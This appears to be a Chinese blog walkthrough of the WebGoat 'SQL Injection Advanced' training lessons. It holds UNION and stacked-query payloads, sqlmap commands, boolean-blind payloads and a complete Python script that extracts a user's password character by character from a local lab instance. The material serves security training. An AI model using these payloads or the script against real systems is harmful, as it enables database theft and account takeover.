目录
一、仙女的闯关
第3页
第一种 联合查询(union)注入
第二种 堆叠注入(query chaining)
第5页
第6页
二、课程思维图
这页已知Name框有SQL注入漏洞,要求得到user_system_data整表数据。Password框在注入的时候没用,就是用来检测注入得到的Dave的密码对不对的。
提示了可以用联合查询(union)注入,或者堆叠注入(query chaining)。
Name框输入:
Dave' union select userid,user_name,password,cookie,'5','6',7 from user_system_data-- ss
按Get Account Info按钮提交
Name框输入:
1';select * from user_system_data-- ss
按Get Account Info按钮提交
这页要求以Tom的身份登录。
这页可以进行两种操作,一种是LOGIN,另一种是REGISTER。
先来LOGIN。我用用户名Tom,密码ford,进行了登录操作(✿◡‿◡)
显然是登录不了的,不过现在做这个登录操作仅仅是为了抓包而已。
burpsuite的proxy模块抓到了下面这样的报文,右键copy to file保存为advance_p5_login.txt。
然后来REGISTER。
注册了个lily(别问,问就是pikachu后遗症(~ ̄▽ ̄)~)
burpsuite的proxy模块抓到了下面这样的报文,右键copy to file保存为advance_p5_register.txt。
然后,祭出大杀器sqlmap。
首先检查一下LOGIN页面有没有注入点,cmd窗口输入如下命令
python2 sqlmap.py -r "E:\渗透测试学习资料\webgoat\A1_SQL注入\advance_p5_login.txt"
结果没有发现注入点
不灰心,还有REGISTER页面,cmd窗口输入如下命令
python2 sqlmap.py -r "E:\渗透测试学习资料\webgoat\A1_SQL注入\advance_p5_register.txt"
开心,找到注入点了,注入点是username_reg,也就是REGISTER页面的Username框。
并且还提供了三种可行的注入方法:boolean-based blind(布尔盲注)、stacked queries(堆叠注入)、time-based blind(时间盲注)。
那盲注就想到可以读取Tom的个人信息,堆叠注入就想到可以修改Tom的密码。
其实想用堆叠注入修改Tom的密码的话,还是得先知道表名和列名,所以由于这题只是要求用Tom的身份登录,所以还是用布尔盲注比较好。
用sqlmap获取Tom的个人信息:
cmd窗口输入
python2 sqlmap.py -r "E:\渗透测试学习资料\webgoat\A1_SQL注入\advance_p5_register.txt" --current-db
得到当前数据库PUBLIC(本来想用--dbs参数把databases全都爆出来,结果似乎没权限)
cmd窗口输入
python2 sqlmap.py -r "E:\渗透测试学习资料\webgoat\A1_SQL注入\advance_p5_register.txt" --tables -D PUBLIC --technique B
--technique可以指定用哪种注入方法,我这边指定的是布尔盲注(这题时间盲注太慢了,而且结果是个奇怪的东西)
爆出3个奇奇怪怪的表(时间盲注出来的结果也是个类似的东西)
然后用下面这个命令企图爆出表的列名,结果没有爆出来(三个表都试了)
python2 sqlmap.py -r "E:\渗透测试学习资料\webgoat\A1_SQL注入\advance_p5_register.txt" --columns -D PUBLIC -T \n\n\n\n\n\n\n\n\n
看来只能手工注入了。
首先要了解一下查询结果为真和为假的时候,页面返回有何不同
首先看结果为真的情况:
构造payload:username_reg=lily' and 1=1-- ss
如下图可见,结果返回already exists
再来看结果为假的情况:
构造payload:username_reg=lily' and 1=2-- ss
如下图可见,结果返回created
一开始我想试试通过正经方法爆表爆列爆数据,一路爆过去,但是第一步就卡住了。如下图所示,爆表的时候就返回"Something went wrong",应该是sql语句不合法了。
后来又试了下面几种payload,还是报"Something went wrong":
(1)username_reg=lily' and length(select 1 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='PUBLIC')>1-- ss
(2)username_reg=lily' and length(select 1 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEM='PUBLIC')>1-- ss
(3)username_reg=lily' and length(select 1 from INFORMATION_SCHEMA.SYSTEM_TABLES where TABLE_SCHEMA='PUBLIC')>1-- ss
(4)username_reg=lily' and length(select 1 from INFORMATION_SCHEMA.SYSTEM_TABLES where TABLE_SCHEM='PUBLIC')>1-- ss
那就只好用不正经的方法了。。
这边既然能区分用户有没有被创建过,就应该有个select语句从某个表里面按照用户名进行查找,如果这个表里面正好也有用户的密码,岂不就可以直接猜测用户密码了?
根据以上的分析,这种情况要依次满足三个条件:
(1)查询用户是否创建的表中正好有用户密码
(2)知道用户名
(3)知道密码所在列名
第一个条件实打实碰运气;
第二个条件也要靠猜,但是已经给提示本人名叫Tom了,应该比较好猜。在Register页面通过注册用户猜测,如果猜对了应该会返回already exists,如果猜错了应该会返回created;
第三个条件根据上述经验,可以猜测密码所在列名,如果列名不对,估计会返回Something went wrong,如果列名正确,返回结果可能是already exists或者created。
先来猜用户名,先试试注册Tom:
返回如下图,是created,表示Tom注册的用户名不是Tom
再试试tom(如果怕不区分大小写不放心,可以reset lesson再尝试,或者试完tom再试一下TOM):
返回如下图所示,already exists,表示Tom注册的用户名是tom。
现在可以开始猜密码列名是什么了:
length(列名)>0一定是TRUE,再根据上面的分析,如果列名猜对了,会返回already exists,如果猜错了,估计会返回Something went wrong。
从POST参数来看,先猜密码的列名是password。
构造payload:username_reg=tom' and length(password)>0-- ss
返回了already exists,说明猜对了。
可以把password改成password0来确认一下确实猜对了:
返回结果如下,和预想的一样
知道了密码列名,就可以用burpsuite的intruder模块先爆破密码长度,再一位一位爆破密码
爆破密码长度:
如下面两张图这样在burpsuite的intruder设置:
简单来说用的payload是:username_reg=tom' and length(password)=x-- ss,其中x是要爆破的数字。
按start attack开始爆破,结果按length排个序,发现密码有23位。。。
下面开始爆破密码:
考虑到密码长度有23位,而且有可能包含数字、大小写字母、特殊字符,因此我觉得就算用burpsuite进行半手工爆破,也要累死我,所以写了个python脚本,来实现tom的密码爆破。
需要的话可以直接拷贝下面的代码,记得headers中的Cookie的值要改成自己登录之后抓到的请求报文中的cookie值
import requests
url = "http://192.168.101.16:8222/WebGoat/SqlInjectionAdvanced/challenge"
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36","Cookie": "JSESSIONID=VjGdZj9IvzWQ9BJFIEar2--CEun-GVI0GnBVU7nE",}
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、特殊字符
answer = ''
for i in range(1,24):
for c in keylist:
payload = "tom' and substring(password,"+str(i)+",1)='"+c+"'-- ss" #用substring逐位猜测密码
formdata = {
"username_reg":payload,
"email_reg":"[email protected]",
"password_reg":"12",
"confirm_password_reg":"12",
}
response = requests.put(url, data = formdata, headers = headers)
if response.text.find("already exists") != -1: #猜对了的话返回结果会包含already exists
answer = answer+c
break
print(answer) #打印结果
这脚本得跑一会儿,跑完会打印出密码:thisisasecretfortomonly
用户名tom,密码thisisasecretfortomonly,登录成功
题外话:
上述过程中还发现个小bug(v8.1.0版本),在登录页面只要用注册过的用户登录(比如lily),用户名和密码输入正确,页面数字的小框框就会从红变绿:
可能是因为代码中只要登录时用户名和密码输入正确就success(this)了(56~58行):
AttackResult的定义在 WebGoat-8.1.0\webgoat-container\src\main\java\org\owasp\webgoat\assignments\AttackResult.java
这页是个quiz,答案见下图